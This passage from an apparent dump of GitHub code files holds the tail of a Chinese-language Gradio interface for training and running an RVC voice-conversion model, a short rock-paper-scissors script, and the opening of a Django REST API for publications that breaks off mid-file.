[False]\r\n threading.Thread(target=if_done_multi, args=(done, ps,)).start()\r\n while (1):\r\n with open(\"%s/logs/%s/extract_f0_feature.log\"%(now_dir,exp_dir), \"r\")as f:yield (f.read())\r\n sleep(1)\r\n if (done[0] == True): break\r\n with open(\"%s/logs/%s/extract_f0_feature.log\"%(now_dir,exp_dir), \"r\")as f:log = f.read()\r\n print(log)\r\n yield log\r\ndef change_sr2(sr2,if_f0_3):\r\n if(if_f0_3==\"是\"):return \"pretrained/f0G%s.pth\"%sr2,\"pretrained/f0D%s.pth\"%sr2\r\n else:return \"pretrained/G%s.pth\"%sr2,\"pretrained/D%s.pth\"%sr2\r\n#but3.click(click_train,[exp_dir1,sr2,if_f0_3,save_epoch10,total_epoch11,batch_size12,if_save_latest13,pretrained_G14,pretrained_D15,gpus16])\r\ndef click_train(exp_dir1,sr2,if_f0_3,spk_id5,save_epoch10,total_epoch11,batch_size12,if_save_latest13,pretrained_G14,pretrained_D15,gpus16,if_cache_gpu17):\r\n #生成filelist\r\n exp_dir=\"%s/logs/%s\"%(now_dir,exp_dir1)\r\n os.makedirs(exp_dir,exist_ok=True)\r\n gt_wavs_dir=\"%s/0_gt_wavs\"%(exp_dir)\r\n co256_dir=\"%s/3_feature256\"%(exp_dir)\r\n if(if_f0_3==\"是\"):\r\n f0_dir = \"%s/2a_f0\" % (exp_dir)\r\n f0nsf_dir=\"%s/2b-f0nsf\"%(exp_dir)\r\n names=set([name.split(\".\")[0]for name in os.listdir(gt_wavs_dir)])&set([name.split(\".\")[0]for name in os.listdir(co256_dir)])&set([name.split(\".\")[0]for name in os.listdir(f0_dir)])&set([name.split(\".\")[0]for name in os.listdir(f0nsf_dir)])\r\n else:\r\n names=set([name.split(\".\")[0]for name in os.listdir(gt_wavs_dir)])&set([name.split(\".\")[0]for name in os.listdir(co256_dir)])\r\n opt=[]\r\n for name in names:\r\n if (if_f0_3 == \"是\"):\r\n opt.append(\"%s/%s.wav|%s/%s.npy|%s/%s.wav.npy|%s/%s.wav.npy|%s\"%(gt_wavs_dir.replace(\"\\\\\",\"\\\\\\\\\"),name,co256_dir.replace(\"\\\\\",\"\\\\\\\\\"),name,f0_dir.replace(\"\\\\\",\"\\\\\\\\\"),name,f0nsf_dir.replace(\"\\\\\",\"\\\\\\\\\"),name,spk_id5))\r\n else:\r\n opt.append(\"%s/%s.wav|%s/%s.npy|%s\"%(gt_wavs_dir.replace(\"\\\\\",\"\\\\\\\\\"),name,co256_dir.replace(\"\\\\\",\"\\\\\\\\\"),name,spk_id5))\r\n with open(\"%s/filelist.txt\"%exp_dir,\"w\")as f:f.write(\"\\n\".join(opt))\r\n print(\"write filelist done\")\r\n #生成config#无需生成config\r\n # cmd = \"python train_nsf_sim_cache_sid_load_pretrain.py -e mi-test -sr 40k -f0 1 -bs 4 -g 0 -te 10 -se 5 -pg pretrained/f0G40k.pth -pd pretrained/f0D40k.pth -l 1 -c 0\"\r\n cmd = \"python train_nsf_sim_cache_sid_load_pretrain.py -e %s -sr %s -f0 %s -bs %s -g %s -te %s -se %s -pg %s -pd %s -l %s -c %s\" % (exp_dir1,sr2,1 if if_f0_3==\"是\"else 0,batch_size12,gpus16,total_epoch11,save_epoch10,pretrained_G14,pretrained_D15,1 if if_save_latest13==\"是\"else 0,1 if if_cache_gpu17==\"是\"else 0)\r\n print(cmd)\r\n p = Popen(cmd, shell=True, cwd=now_dir)\r\n p.wait()\r\n return \"训练结束,您可查看控制台训练日志或实验文件夹下的train.log\"\r\n# but4.click(train_index, [exp_dir1], info3)\r\ndef train_index(exp_dir1):\r\n exp_dir=\"%s/logs/%s\"%(now_dir,exp_dir1)\r\n os.makedirs(exp_dir,exist_ok=True)\r\n feature_dir=\"%s/3_feature256\"%(exp_dir)\r\n if(os.path.exists(feature_dir)==False):return \"请先进行特征提取!\"\r\n listdir_res=list(os.listdir(feature_dir))\r\n if(len(listdir_res)==0):return \"请先进行特征提取!\"\r\n npys = []\r\n for name in sorted(listdir_res):\r\n phone = np.load(\"%s/%s\" % (feature_dir, name))\r\n npys.append(phone)\r\n big_npy = np.concatenate(npys, 0)\r\n np.save(\"%s/total_fea.npy\"%exp_dir, big_npy)\r\n n_ivf = big_npy.shape[0] // 39\r\n infos=[]\r\n infos.append(\"%s,%s\"%(big_npy.shape,n_ivf))\r\n yield \"\\n\".join(infos)\r\n index = faiss.index_factory(256, \"IVF%s,Flat\"%n_ivf)\r\n infos.append(\"training\")\r\n yield \"\\n\".join(infos)\r\n index_ivf = faiss.extract_index_ivf(index) #\r\n index_ivf.nprobe = int(np.power(n_ivf,0.3))\r\n index.train(big_npy)\r\n faiss.write_index(index, '%s/trained_IVF%s_Flat_nprobe_%s.index'%(exp_dir,n_ivf,index_ivf.nprobe))\r\n infos.append(\"adding\")\r\n yield \"\\n\".join(infos)\r\n index.add(big_npy)\r\n faiss.write_index(index, '%s/added_IVF%s_Flat_nprobe_%s.index'%(exp_dir,n_ivf,index_ivf.nprobe))\r\n infos.append(\"成功构建索引,added_IVF%s_Flat_nprobe_%s.index\"%(n_ivf,index_ivf.nprobe))\r\n yield \"\\n\".join(infos)\r\n#but5.click(train1key, [exp_dir1, sr2, if_f0_3, trainset_dir4, spk_id5, gpus6, np7, f0method8, save_epoch10, total_epoch11, batch_size12, if_save_latest13, pretrained_G14, pretrained_D15, gpus16, if_cache_gpu17], info3)\r\ndef train1key(exp_dir1, sr2, if_f0_3, trainset_dir4, spk_id5, gpus6, np7, f0method8, save_epoch10, total_epoch11, batch_size12, if_save_latest13, pretrained_G14, pretrained_D15, gpus16, if_cache_gpu17):\r\n infos=[]\r\n def get_info_str(strr):\r\n infos.append(strr)\r\n return \"\\n\".join(infos)\r\n os.makedirs(\"%s/logs/%s\"%(now_dir,exp_dir1),exist_ok=True)\r\n #########step1:处理数据\r\n open(\"%s/logs/%s/preprocess.log\"%(now_dir,exp_dir1), \"w\").close()\r\n cmd=\"python trainset_preprocess_pipeline_print.py %s %s %s %s/logs/%s\"%(trainset_dir4,sr_dict[sr2],ncpu,now_dir,exp_dir1)\r\n yield get_info_str(\"step1:正在处理数据\")\r\n yield get_info_str(cmd)\r\n p = Popen(cmd, shell=True)\r\n p.wait()\r\n with open(\"%s/logs/%s/preprocess.log\" % (now_dir, exp_dir1), \"r\")as f: print(f.read())\r\n #########step2a:提取音高\r\n open(\"%s/logs/%s/extract_f0_feature.log\" % (now_dir, exp_dir1), \"w\")\r\n if(if_f0_3==\"是\"):\r\n yield get_info_str(\"step2a:正在提取音高\")\r\n cmd=\"python extract_f0_print.py %s/logs/%s %s %s\"%(now_dir,exp_dir1,np7,f0method8)\r\n yield get_info_str(cmd)\r\n p = Popen(cmd, shell=True,cwd=now_dir)\r\n p.wait()\r\n with open(\"%s/logs/%s/extract_f0_feature.log\"%(now_dir,exp_dir1), \"r\")as f:print(f.read())\r\n else:yield get_info_str(\"step2a:无需提取音高\")\r\n #######step2b:提取特征\r\n yield get_info_str(\"step2b:正在提取特征\")\r\n gpus=gpus16.split(\"-\")\r\n leng=len(gpus)\r\n ps=[]\r\n for idx,n_g in enumerate(gpus):\r\n cmd=\"python extract_feature_print.py %s %s %s %s/logs/%s\"%(leng,idx,n_g,now_dir,exp_dir1)\r\n yield get_info_str(cmd)\r\n p = Popen(cmd, shell=True, cwd=now_dir)#, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, cwd=now_dir\r\n ps.append(p)\r\n for p in ps:p.wait()\r\n with open(\"%s/logs/%s/extract_f0_feature.log\"%(now_dir,exp_dir1), \"r\")as f:print(f.read())\r\n #######step3a:训练模型\r\n yield get_info_str(\"step3a:正在训练模型\")\r\n #生成filelist\r\n exp_dir=\"%s/logs/%s\"%(now_dir,exp_dir1)\r\n gt_wavs_dir=\"%s/0_gt_wavs\"%(exp_dir)\r\n co256_dir=\"%s/3_feature256\"%(exp_dir)\r\n if(if_f0_3==\"是\"):\r\n f0_dir = \"%s/2a_f0\" % (exp_dir)\r\n f0nsf_dir=\"%s/2b-f0nsf\"%(exp_dir)\r\n names=set([name.split(\".\")[0]for name in os.listdir(gt_wavs_dir)])&set([name.split(\".\")[0]for name in os.listdir(co256_dir)])&set([name.split(\".\")[0]for name in os.listdir(f0_dir)])&set([name.split(\".\")[0]for name in os.listdir(f0nsf_dir)])\r\n else:\r\n names=set([name.split(\".\")[0]for name in os.listdir(gt_wavs_dir)])&set([name.split(\".\")[0]for name in os.listdir(co256_dir)])\r\n opt=[]\r\n for name in names:\r\n if (if_f0_3 == \"是\"):\r\n opt.append(\"%s/%s.wav|%s/%s.npy|%s/%s.wav.npy|%s/%s.wav.npy|%s\"%(gt_wavs_dir.replace(\"\\\\\",\"\\\\\\\\\"),name,co256_dir.replace(\"\\\\\",\"\\\\\\\\\"),name,f0_dir.replace(\"\\\\\",\"\\\\\\\\\"),name,f0nsf_dir.replace(\"\\\\\",\"\\\\\\\\\"),name,spk_id5))\r\n else:\r\n opt.append(\"%s/%s.wav|%s/%s.npy|%s\"%(gt_wavs_dir.replace(\"\\\\\",\"\\\\\\\\\"),name,co256_dir.replace(\"\\\\\",\"\\\\\\\\\"),name,spk_id5))\r\n with open(\"%s/filelist.txt\"%exp_dir,\"w\")as f:f.write(\"\\n\".join(opt))\r\n yield get_info_str(\"write filelist done\")\r\n cmd = \"python train_nsf_sim_cache_sid_load_pretrain.py -e %s -sr %s -f0 %s -bs %s -g %s -te %s -se %s -pg %s -pd %s -l %s -c %s\" % (exp_dir1,sr2,1 if if_f0_3==\"是\"else 0,batch_size12,gpus16,total_epoch11,save_epoch10,pretrained_G14,pretrained_D15,1 if if_save_latest13==\"是\"else 0,1 if if_cache_gpu17==\"是\"else 0)\r\n yield get_info_str(cmd)\r\n p = Popen(cmd, shell=True, cwd=now_dir)\r\n p.wait()\r\n yield get_info_str(\"训练结束,您可查看控制台训练日志或实验文件夹下的train.log\")\r\n #######step3b:训练索引\r\n feature_dir=\"%s/3_feature256\"%(exp_dir)\r\n npys = []\r\n listdir_res=list(os.listdir(feature_dir))\r\n for name in sorted(listdir_res):\r\n phone = np.load(\"%s/%s\" % (feature_dir, name))\r\n npys.append(phone)\r\n big_npy = np.concatenate(npys, 0)\r\n np.save(\"%s/total_fea.npy\"%exp_dir, big_npy)\r\n n_ivf = big_npy.shape[0] // 39\r\n yield get_info_str(\"%s,%s\"%(big_npy.shape,n_ivf))\r\n index = faiss.index_factory(256, \"IVF%s,Flat\"%n_ivf)\r\n yield get_info_str(\"training index\")\r\n index_ivf = faiss.extract_index_ivf(index) #\r\n index_ivf.nprobe = int(np.power(n_ivf,0.3))\r\n index.train(big_npy)\r\n faiss.write_index(index, '%s/trained_IVF%s_Flat_nprobe_%s.index'%(exp_dir,n_ivf,index_ivf.nprobe))\r\n yield get_info_str(\"adding index\")\r\n index.add(big_npy)\r\n faiss.write_index(index, '%s/added_IVF%s_Flat_nprobe_%s.index'%(exp_dir,n_ivf,index_ivf.nprobe))\r\n yield get_info_str(\"成功构建索引,added_IVF%s_Flat_nprobe_%s.index\"%(n_ivf,index_ivf.nprobe))\r\n yield get_info_str(\"全流程结束!\")\r\n\r\n# ckpt_path2.change(change_info_,[ckpt_path2],[sr__,if_f0__])\r\ndef change_info_(ckpt_path):\r\n if(os.path.exists(ckpt_path.replace(os.path.basename(ckpt_path),\"train.log\"))==False):return {\"__type__\": \"update\"},{\"__type__\": \"update\"}\r\n try:\r\n with open(ckpt_path.replace(os.path.basename(ckpt_path),\"train.log\"),\"r\")as f:\r\n info=eval(f.read().strip(\"\\n\").split(\"\\n\")[0].split(\"\\t\")[-1])\r\n sr,f0=info[\"sample_rate\"],info[\"if_f0\"]\r\n return sr,str(f0)\r\n except:\r\n traceback.print_exc()\r\n return {\"__type__\": \"update\"}, {\"__type__\": \"update\"}\r\n\r\n\r\nwith gr.Blocks() as app:\r\n gr.Markdown(value=\"\"\"\r\n 本软件以MIT协议开源,作者不对软件具备任何控制力,使用软件者、传播软件导出的声音者自负全责。
\r\n 如不认可该条款,则不能使用或引用软件包内任何代码和文件。详见根目录\"使用需遵守的协议-LICENSE.txt\"。\r\n \"\"\")\r\n with gr.Tabs():\r\n with gr.TabItem(\"模型推理\"):\r\n with gr.Row():\r\n sid0 = gr.Dropdown(label=\"推理音色\", choices=names)\r\n refresh_button = gr.Button(\"刷新音色列表\", variant=\"primary\")\r\n refresh_button.click(\r\n fn=change_choices,\r\n inputs=[],\r\n outputs=[sid0]\r\n )\r\n clean_button = gr.Button(\"卸载音色省显存\", variant=\"primary\")\r\n spk_item = gr.Slider(minimum=0, maximum=2333, step=1, label='请选择说话人id', value=0, visible=False, interactive=True)\r\n clean_button.click(\r\n fn=clean,\r\n inputs=[],\r\n outputs=[sid0]\r\n )\r\n sid0.change(\r\n fn=get_vc,\r\n inputs=[sid0],\r\n outputs=[spk_item],\r\n )\r\n with gr.Group():\r\n gr.Markdown(value=\"\"\"\r\n 男转女推荐+12key,女转男推荐-12key,如果音域爆炸导致音色失真也可以自己调整到合适音域。\r\n \"\"\")\r\n with gr.Row():\r\n with gr.Column():\r\n vc_transform0 = gr.Number(label=\"变调(整数,半音数量,升八度12降八度-12)\", value=0)\r\n input_audio0 = gr.Textbox(label=\"输入待处理音频文件路径(默认是正确格式示例)\",value=\"E:\\codes\\py39\\\\vits_vc_gpu_train\\\\todo-songs\\冬之花clip1.wav\")\r\n f0method0=gr.Radio(label=\"选择音高提取算法,输入歌声可用pm提速,harvest低音好但巨慢无比\", choices=[\"pm\",\"harvest\"],value=\"pm\", interactive=True)\r\n with gr.Column():\r\n file_index1 = gr.Textbox(label=\"特征���索库文件路径\",value=\"E:\\codes\\py39\\\\vits_vc_gpu_train\\logs\\mi-test-1key\\\\added_IVF677_Flat_nprobe_7.index\", interactive=True)\r\n file_big_npy1 = gr.Textbox(label=\"特征文件路径\",value=\"E:\\codes\\py39\\\\vits_vc_gpu_train\\logs\\mi-test-1key\\\\total_fea.npy\", interactive=True)\r\n index_rate1 = gr.Slider(minimum=0, maximum=1,label='检索特征占比', value=1,interactive=True)\r\n f0_file = gr.File(label=\"F0曲线文件,可选,一行一个音高,代替默认F0及升降调\")\r\n but0=gr.Button(\"转换\", variant=\"primary\")\r\n with gr.Column():\r\n vc_output1 = gr.Textbox(label=\"输出信息\")\r\n vc_output2 = gr.Audio(label=\"输出音频(右下角三个点,点了可以下载)\")\r\n but0.click(vc_single, [spk_item, input_audio0, vc_transform0,f0_file,f0method0,file_index1,file_big_npy1,index_rate1], [vc_output1, vc_output2])\r\n with gr.Group():\r\n gr.Markdown(value=\"\"\"\r\n 批量转换,输入待转换音频文件夹,或上传多个音频文件,在指定文件夹(默认opt)下输出转换的音频。\r\n \"\"\")\r\n with gr.Row():\r\n with gr.Column():\r\n vc_transform1 = gr.Number(label=\"变调(整数,半音数量,升八度12降八度-12)\", value=0)\r\n opt_input = gr.Textbox(label=\"指定输出文件夹\",value=\"opt\")\r\n f0method1=gr.Radio(label=\"选择音高提取算法,输入歌声可用pm提速,harvest低音好但巨慢无比\", choices=[\"pm\",\"harvest\"],value=\"pm\", interactive=True)\r\n with gr.Column():\r\n file_index2 = gr.Textbox(label=\"特征检索库文件路径\",value=\"E:\\codes\\py39\\\\vits_vc_gpu_train\\logs\\mi-test-1key\\\\added_IVF677_Flat_nprobe_7.index\", interactive=True)\r\n file_big_npy2 = gr.Textbox(label=\"特征文件路径\",value=\"E:\\codes\\py39\\\\vits_vc_gpu_train\\logs\\mi-test-1key\\\\total_fea.npy\", interactive=True)\r\n index_rate2 = gr.Slider(minimum=0, maximum=1,label='检索特征占比', value=1,interactive=True)\r\n with gr.Column():\r\n dir_input = gr.Textbox(label=\"输入待处理音频文件夹路径(去文件管理器地址栏拷就行了)\",value=\"E:\\codes\\py39\\\\vits_vc_gpu_train\\\\todo-songs\")\r\n inputs = gr.File(file_count=\"multiple\", label=\"也可批量输入音频文件,二选一,优先读文件夹\")\r\n but1=gr.Button(\"转换\", variant=\"primary\")\r\n vc_output3 = gr.Textbox(label=\"输出信息\")\r\n but1.click(vc_multi, [spk_item, dir_input,opt_input,inputs, vc_transform1,f0method1,file_index2,file_big_npy2,index_rate2], [vc_output3])\r\n with gr.TabItem(\"伴奏人声分离\"):\r\n with gr.Group():\r\n gr.Markdown(value=\"\"\"\r\n 人声伴奏分离批量处理,使用UVR5模型。
\r\n 不带和声用HP2,带和声且提取的人声不需要和声用HP5
\r\n 合格的文件夹路径格式举例:E:\\codes\\py39\\\\vits_vc_gpu\\白鹭霜华测试样例(去文件管理器地址栏拷就行了)\r\n \"\"\")\r\n with gr.Row():\r\n with gr.Column():\r\n dir_wav_input = gr.Textbox(label=\"输入待处理音频文件夹路径\",value=\"E:\\codes\\py39\\\\vits_vc_gpu_train\\\\todo-songs\")\r\n wav_inputs = gr.File(file_count=\"multiple\", label=\"也可批量输入音频文件,二选一,优先读文件夹\")\r\n with gr.Column():\r\n model_choose = gr.Dropdown(label=\"模型\", choices=uvr5_names)\r\n opt_vocal_root = gr.Textbox(label=\"指定输出人声文件夹\",value=\"opt\")\r\n opt_ins_root = gr.Textbox(label=\"指定输出乐器文件夹\",value=\"opt\")\r\n but2=gr.Button(\"转换\", variant=\"primary\")\r\n vc_output4 = gr.Textbox(label=\"输出信息\")\r\n but2.click(uvr, [model_choose, dir_wav_input,opt_vocal_root,wav_inputs,opt_ins_root], [vc_output4])\r\n with gr.TabItem(\"训练\"):\r\n gr.Markdown(value=\"\"\"\r\n step1:填写实验配置。实验数据放在logs下,每个实验一个文件夹,需手工输入实验名路径,内含实验配置,日志,训练得到的模型文件。\r\n \"\"\")\r\n with gr.Row():\r\n exp_dir1 = gr.Textbox(label=\"输入实验名\",value=\"mi-test\")\r\n sr2 = gr.Radio(label=\"目标采样率\", choices=[\"32k\",\"40k\",\"48k\"],value=\"40k\", interactive=True)\r\n if_f0_3 = gr.Radio(label=\"模型是否带音高指导(唱歌一定要,语音可以不要)\", choices=[\"是\",\"否\"],value=\"是\", interactive=True)\r\n with gr.Group():#暂时单人的,后面支持最多4人的#数据处理\r\n gr.Markdown(value=\"\"\"\r\n step2a:自动遍历训练文件夹下所有可解码成音频的文件并进行切片归一化,在实验目录下生成2个wav文件夹;暂时只支持单人训练。\r\n \"\"\")\r\n with gr.Row():\r\n trainset_dir4 = gr.Textbox(label=\"输入训练文件夹路径\",value=\"E:\\语音音频+标注\\米津玄师\\src\")\r\n spk_id5 = gr.Slider(minimum=0, maximum=4, step=1, label='请指定说话人id', value=0,interactive=True)\r\n but1=gr.Button(\"处理数据\", variant=\"primary\")\r\n info1=gr.Textbox(label=\"输出信息\",value=\"\")\r\n but1.click(preprocess_dataset,[trainset_dir4,exp_dir1,sr2],[info1])\r\n with gr.Group():\r\n gr.Markdown(value=\"\"\"\r\n step2b:使用CPU提取音高(如果模型带音高),使用GPU提取特征(选择卡号)\r\n \"\"\")\r\n with gr.Row():\r\n with gr.Column():\r\n gpus6 = gr.Textbox(label=\"以-分隔输入使用的卡号,例如 0-1-2 使用卡0和卡1和卡2\",value=gpus,interactive=True)\r\n gpu_info9 = gr.Textbox(label=\"显卡信息\",value=gpu_info)\r\n with gr.Column():\r\n np7 = gr.Slider(minimum=0, maximum=ncpu, step=1, label='提取音高使用的CPU进程数', value=ncpu,interactive=True)\r\n f0method8 = gr.Radio(label=\"选择音高提取算法:输入歌声可用pm提速,高质量语音但CPU差可用dio提速,harvest质量更好但慢\", choices=[\"pm\", \"harvest\",\"dio\"], value=\"harvest\", interactive=True)\r\n but2=gr.Button(\"特征提取\", variant=\"primary\")\r\n info2=gr.Textbox(label=\"输出信息\",value=\"\",max_lines=8)\r\n but2.click(extract_f0_feature,[gpus6,np7,f0method8,if_f0_3,exp_dir1],[info2])\r\n with gr.Group():\r\n gr.Markdown(value=\"\"\"\r\n step3:填写训练设置,开始训练模型和索引\r\n \"\"\")\r\n with gr.Row():\r\n save_epoch10 = gr.Slider(minimum=0, maximum=50, step=1, label='保存频率save_every_epoch', value=5,interactive=True)\r\n total_epoch11 = gr.Slider(minimum=0, maximum=100, step=1, label='总训练轮数total_epoch', value=10,interactive=True)\r\n batch_size12 = gr.Slider(minimum=0, maximum=32, step=1, label='batch_size', value=4,interactive=True)\r\n if_save_latest13 = gr.Radio(label=\"是否仅保存最新的ckpt文件以节省硬盘空间\", choices=[\"是\", \"否\"], value=\"否\", interactive=True)\r\n if_cache_gpu17 = gr.Radio(label=\"是否缓存所有训练集至显存。10min以下小数据可缓存以加速训练,大数据缓存会炸显存也加不了多少速\", choices=[\"是\", \"否\"], value=\"否\", interactive=True)\r\n with gr.Row():\r\n pretrained_G14 = gr.Textbox(label=\"加载预训练底模G路径\", value=\"pretrained/f0G40k.pth\",interactive=True)\r\n pretrained_D15 = gr.Textbox(label=\"加载预训练底模D路径\", value=\"pretrained/f0D40k.pth\",interactive=True)\r\n sr2.change(change_sr2, [sr2,if_f0_3], [pretrained_G14,pretrained_D15])\r\n if_f0_3.change(change_f0, [if_f0_3, sr2], [np7, f0method8, pretrained_G14, pretrained_D15])\r\n gpus16 = gr.Textbox(label=\"以-分隔输入使用的卡号,例如 0-1-2 使用卡0和卡1和卡2\", value=gpus,interactive=True)\r\n but3 = gr.Button(\"训练模型\", variant=\"primary\")\r\n but4 = gr.Button(\"训练特征索引\", variant=\"primary\")\r\n but5 = gr.Button(\"一键训练\", variant=\"primary\")\r\n info3 = gr.Textbox(label=\"输出信息\", value=\"\",max_lines=10)\r\n but3.click(click_train,[exp_dir1,sr2,if_f0_3,spk_id5,save_epoch10,total_epoch11,batch_size12,if_save_latest13,pretrained_G14,pretrained_D15,gpus16,if_cache_gpu17],info3)\r\n but4.click(train_index,[exp_dir1],info3)\r\n but5.click(train1key,[exp_dir1,sr2,if_f0_3,trainset_dir4,spk_id5,gpus6,np7,f0method8,save_epoch10,total_epoch11,batch_size12,if_save_latest13,pretrained_G14,pretrained_D15,gpus16,if_cache_gpu17],info3)\r\n\r\n with gr.TabItem(\"ckpt处理\"):\r\n with gr.Group():\r\n gr.Markdown(value=\"\"\"模型融合,可用于测试音色融合\"\"\")\r\n with gr.Row():\r\n ckpt_a = gr.Textbox(label=\"A模型路径\", value=\"\", interactive=True)\r\n ckpt_b = gr.Textbox(label=\"B模型路径\", value=\"\", interactive=True)\r\n alpha_a = gr.Slider(minimum=0, maximum=1, label='A模型权重', value=0.5, interactive=True)\r\n with gr.Row():\r\n sr_ = gr.Radio(label=\"目标采样率\", choices=[\"32k\",\"40k\",\"48k\"],value=\"40k\", interactive=True)\r\n if_f0_ = gr.Radio(label=\"模型是否带音高指导\", choices=[\"是\",\"否\"],value=\"是\", interactive=True)\r\n info__ = gr.Textbox(label=\"要置入的模型信息\", value=\"\", max_lines=8, interactive=True)\r\n name_to_save0=gr.Textbox(label=\"保存的模型名不带后缀\", value=\"\", max_lines=1, interactive=True)\r\n with gr.Row():\r\n but6 = gr.Button(\"融合\", variant=\"primary\")\r\n info4 = gr.Textbox(label=\"输出信息\", value=\"\", max_lines=8)\r\n but6.click(merge, [ckpt_a,ckpt_b,alpha_a,sr_,if_f0_,info__,name_to_save0], info4)#def merge(path1,path2,alpha1,sr,f0,info):\r\n with gr.Group():\r\n gr.Markdown(value=\"修改模型信息(仅支持weights文件夹下提取的小模型文件)\")\r\n with gr.Row():\r\n ckpt_path0 = gr.Textbox(label=\"模型路径\", value=\"\", interactive=True)\r\n info_=gr.Textbox(label=\"要改的模型信息\", value=\"\", max_lines=8, interactive=True)\r\n name_to_save1=gr.Textbox(label=\"保存的文件名,默认空为和源文件同名\", value=\"\", max_lines=8, interactive=True)\r\n with gr.Row():\r\n but7 = gr.Button(\"修改\", variant=\"primary\")\r\n info5 = gr.Textbox(label=\"输出信息\", value=\"\", max_lines=8)\r\n but7.click(change_info, [ckpt_path0,info_,name_to_save1], info5)\r\n with gr.Group():\r\n gr.Markdown(value=\"查看模型信息(仅支持weights文件夹下提取的小模型文件)\")\r\n with gr.Row():\r\n ckpt_path1 = gr.Textbox(label=\"模型路径\", value=\"\", interactive=True)\r\n but8 = gr.Button(\"查看\", variant=\"primary\")\r\n info6 = gr.Textbox(label=\"输出信息\", value=\"\", max_lines=8)\r\n but8.click(show_info, [ckpt_path1], info6)\r\n with gr.Group():\r\n gr.Markdown(value=\"模型提取(输入logs文件夹下大文件模型路径),适用于训一半不想训了模型没有自动提取保存小文件模型,或者想测试中间模型的情况\")\r\n with gr.Row():\r\n ckpt_path2 = gr.Textbox(label=\"模型路径\", value=\"E:\\codes\\py39\\logs\\mi-test_f0_48k\\\\G_23333.pth\", interactive=True)\r\n save_name = gr.Textbox(label=\"保存名\", value=\"\", interactive=True)\r\n sr__ = gr.Radio(label=\"目标采样率\", choices=[\"32k\",\"40k\",\"48k\"],value=\"40k\", interactive=True)\r\n if_f0__ = gr.Radio(label=\"模型是否带音高指导,1是0否\", choices=[\"1\",\"0\"],value=\"1\", interactive=True)\r\n info___ = gr.Textbox(label=\"要置入的模型信息\", value=\"\", max_lines=8, interactive=True)\r\n but9 = gr.Button(\"提取\", variant=\"primary\")\r\n info7 = gr.Textbox(label=\"输出信息\", value=\"\", max_lines=8)\r\n ckpt_path2.change(change_info_,[ckpt_path2],[sr__,if_f0__])\r\n but9.click(extract_small_model, [ckpt_path2,save_name,sr__,if_f0__,info___], info7)\r\n\r\n with gr.TabItem(\"招募音高曲线前端编辑器\"):\r\n gr.Markdown(value=\"\"\"加开发群联系我xxxxx\"\"\")\r\n with gr.TabItem(\"点击查看交流、问题反馈群号\"):\r\n gr.Markdown(value=\"\"\"xxxxx\"\"\")\r\n\r\n # app.launch(server_name=\"0.0.0.0\",server_port=7860)\r\n # app.queue(concurrency_count=511, max_size=1022).launch(server_name=\"127.0.0.1\",inbrowser=True,server_port=7861,quiet=True)\r\n app.queue(concurrency_count=511, max_size=1022).launch(server_name=\"0.0.0.0\",inbrowser=True,server_port=7865,quiet=True)","repo_name":"KaiservonAfrika/backupRVC","sub_path":"infer-web.py","file_name":"infer-web.py","file_ext":"py","file_size_in_byte":37603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"26597433176","text":"def compare(choice1, choice2):\n \"\"\"play rock, paper, scissors\"\"\"\n if choice1 == choice2:\n print(\"Tie!\")\n elif choice1 == 'rock':\n if choice2 == 'scissors':\n print(\"rock wins\")\n elif choice1 == 'rock':\n if choice2 == 'paper':\n print(\"paper wins\")\n elif choice1 == 'scissors':\n if choice2 == 'paper':\n print(\"scissors wins\")\n elif choice1 == 'scissors':\n if choice2 == 'rock':\n print(\"rock wins\")\n elif choice1 == 'paper':\n if choice2 == 'rock':\n print(\"paper wins\")\n elif choice1 == 'paper':\n if choice2 == 'scissors':\n print(\"scissors wins\")\n\nrounds = int(raw_input(\"enter number of rounds\"))\nplayer1_name = raw_input(\"enter player1 name: \")\nplayer2_name = raw_input(\"enter player2 name: \")\ncounter = 0\nwhile counter != rounds:\n choice1 = choice()\n choice2 = choice()\n choice3 = choice()\n compare(choice1, choice2)\n counter +=1\nprint (\"{} and {} would you like to play again?\".format(player1_name, player2_name))\n","repo_name":"agmacd3842/rps","sub_path":"rps.py","file_name":"rps.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"23668730716","text":"from django.db.models import Q\nfrom django_filters.rest_framework import DjangoFilterBackend\nfrom rest_framework import status, viewsets\nfrom rest_framework.filters import SearchFilter\nfrom rest_framework.pagination import PageNumberPagination\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom npo_publication.models import Publication\nfrom npo_publication.serializers import PublicationSerializer, PublicationFavoriteSerializer, \\\n PublicationFilterSearchSerializer\n\n\nclass PublicationAPIView(APIView, PageNumberPagination):\n allow_methods = ['GET', 'POST']\n serializer_class = PublicationSerializer\n\n def get(self, request, *args, **kwargs):\n query = request.query_params.get('query', '')\n pub = Publication.objects.filter(Q(title__icontains=query) |\n Q(description__icontains=query))\n results = self.paginate_queryset(pub,\n request,\n view=self)\n return self.get_paginated_response(self.serializer_class(results,\n many=True,\n context={'request': request}).data)\n\n def post(self, request, *args, **kwargs):\n title = request.data.get('title')\n description = request.data.get('description')\n created_date = request.data.get('created_date')\n file = request.data.get('file')\n pub = Publication.objects.create(title=title,\n description=description,\n created_date=created_date,\n file=file)\n\n pub.save()\n return Response(data=self.serializer_class(pub).data,\n status=status.HTTP_200_OK)\n\n\nclass PublicationDetailAPIView(APIView):\n allow_methods = ['GET', 'PUT', 'DELETE']\n serializer_class = PublicationSerializer\n\n def get(self, request, id):\n pub = Publication.objects.get(id=id)\n return Response(data=self.serializer_class(pub).data)\n\n def put(self, request, id):\n pub = Publication.objects.get(id=id)\n title = request.data.get('title')\n description = request.data.get('description')\n created_date = request.data.get('created_date')\n file = request.data.get('file')\n pub.title = title\n pub.description = description\n pub.file = file\n\n pub.save()\n return Response(data=self.serializer_class(pub).data,\n status=status.HTTP_200_OK)\n\n def delete(self, request, id):\n pub = Publication.objects.get(id=id)\n pub.delete()\n\n return Response(data=self.serializer_class(pub).data,\n status=status.HTTP_202_ACCEPTED)\n\n\nclass PublicationFavoriteAPIView(APIView):\n allow_methods = ['GET', 'POST', 'DELETE']\n serializers_class = PublicationSerializer\n\n def get(self, request):\n checkbox = Publication.objects.filter(user=request.user)\n return Response(data=PublicationFavoriteSerializer(checkbox).data)\n\n def post(self, request):\n pub_id = int(request.data.get('pub_id'))\n checkbox = Publication.objects.get(pub_id=pub_id,\n user=request.user)\n checkbox.save()\n return Response(data=PublicationFavoriteSerializer(checkbox).data,\n 